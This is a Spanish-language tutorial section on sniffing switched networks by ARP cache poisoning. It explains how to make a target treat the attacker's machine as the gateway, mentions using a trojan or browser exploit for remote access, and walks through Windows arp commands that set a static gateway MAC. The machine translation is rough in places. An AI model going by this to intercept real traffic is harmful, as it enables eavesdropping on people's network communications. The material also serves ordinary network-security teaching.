6. Caso practico

6.4. Opcion 4

Normalmente, en una red de conmutación el switch sabe que máquinas tiene conectada en cada puerto por que en el protocolo ARP vienen en las solicitudes , entonces obtiene la dirección MAC de cada uno ordenador
conectado a uno de sus puertos físicos. De esta manera manda cada paquete a su correspondiente puerto....pero algo que todos hacen cuando quieren mandar algún paquete fuera de la red es enviar el paquete o trama al Gateway o Puerta de Enlace. Supongamos que queremos "sniffear" a la maquina llamada X.
Tenemos que lograr que de alguna manera la máquina que queremos sniffear , X , entienda que nosotros somos el gateway o puerta de enlace de la red.
De esta manera cualquier paquete que quiera salir de la red debería estar con la MAC del Gateway o Puerta de enlace ( o sea nuestra máquina) así podemos obtener los paquetes de X en primer lugar, y, a continuación, remitir el paquete al gateway real. Normalmente cada maquina obtiene el Gateway , como la propia dirección IP del Servidor de DHCP al iniciarse o encenderse.
Una forma de hacerlo es a envenenar el caché ARP de la máquina X.
Cada equipo, cuando se realiza un ARP request, escribe la respuesta en una memoria Cache y durante un tiempo utiliza lo que tiene en la memoria para hacer la búsqueda más rápidamente la próxima vez y no tener que andar preguntando nuevamente (ARP request) y reducir el tráfico de la red.
Si logramos envenenar la Cache de X , enviará todos los datos que salgan de la red a nuestra maquina.
La forma tradicional para envenenar la caché es de inundación de la red con falsas respuestas ARP. La mayoría de las computadoras realmente responde a estas respuestas ARP, incluso si no enviaron ninguna una solicitud ARP.
Así que al enviar un montón de respuestas ARP falsos ( flake ARP) , con una dirección IP -MAC falsificados, podríamos lograr recoga esto y actualiza su caché ARP, que ahora se apuntan a la inhalación de nuestra
máquina.
Sin embargo, hay un gran inconveniente importante a esta técnica y es que provoca una gran cantidad de tráfico de la red, y podría hacerse notar por algún IDS ( Intrusion Detection System (IDS)) y alertar a alguien, entonces lo que quedaría por hacer es un ataque "manual".
Para ello podemos utilizar un troyano o un IE explotar o cualquier otro tipo de explotación que nos da el acceso remoto a su máquina.
La belleza de esto es que no crea el tráfico de la red, y no una alerta IDS.
Por supuesto podría tener un AV (antivirus), que detecte nuestro intento.

 
Veamos algunos comando del ARP para Windows:

 

C:\>ARP -s inet_addr eth_addr [if_addr]
C:\>ARP -d inet_addr [if_addr]
C:\>ARP -a [inet_addr] [-N if_addr]

-a Displays current ARP entries by interrogating the current protocol data. If inet_addr is specified, the IP and Physical
addresses for only the specified computer are displayed. If more than one network interface uses ARP, entries for each ARP table are displayed.
-g Same as -a. inet_addr Specifies an internet address.
-N if_addr Displays the ARP entries for the network interface specified by if_addr.

-d Deletes the host specified by inet_addr. inet_addr may be wildcarded with * to delete all hosts.
-s Adds the host and associates the Internet address inet_addr with the Physical address eth_addr. The Physical   address is given as 6 hexadecimal bytes separated by hyphens. The entry is permanent.
eth_addr Specifies a physical address. if_addr If present, this specifies the Internet address of the
interface whose address translation table should be modified.
If not present, the first applicable interface will be used.

 

Ejemplo:
C:\> arp -s 157.55.85.212 00-aa-00-62-c6-09 .... Agrega una entrada estática a la tabla

 

Veamos como logra envenenar la Tabla de ARP supongamos que la
IP/MAC de nuestro Gateway es: 10.209.36.129/00-01-30-2a-b4-00

Si hacemos:
C:\>ping 10.209.36.149
Pinging 10.209.36.149 with 32 bytes of data:
Reply from 10.209.36.149: bytes=32 time<1ms TTL=128
Reply from 10.209.36.149: bytes=32 time<1ms TTL=128
Reply from 10.209.36.149: bytes=32 time<1ms TTL=128
Reply from 10.209.36.149: bytes=32 time<1ms TTL=128
Ping statistics for 10.209.36.149:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
Al hacer luego:
C:\>arp -a Muestra la tabla ARP .
Interface: 10.209.36.134 --- 0x2
Internet Address Physical Address Type
10.209.36.129 00-01-30-2a-b4-00 dynamic
Lo primero que deberíamos hacer es borrar la tabla ARP.
C:\>arp -d * ( borramos las entradas ARP)
C:\>arp -a (listamos ... no deberían aparecer ninguna )
Agrego a mano la MAC para la IP 10.209.36.129
C:\>arp -s 10.209.36.129 00-e0-29-57-07-2d

C:\>arp -a
Interface: 10.209.36.134 --- 0x2
Internet Address Physical Address Type
10.209.36.129 00-e0-29-57-07-2d static
Podemos ver que ahora todos los paquetes o Datagrama IP que viajen
con destino a la IP 10.209.36.129 irán a nivel cable con la MAC 00-e0-
29-57-07-2d en lugar de salir con la MAC real que corresponde a esa IP
que es 00-01-30-2a-b4-00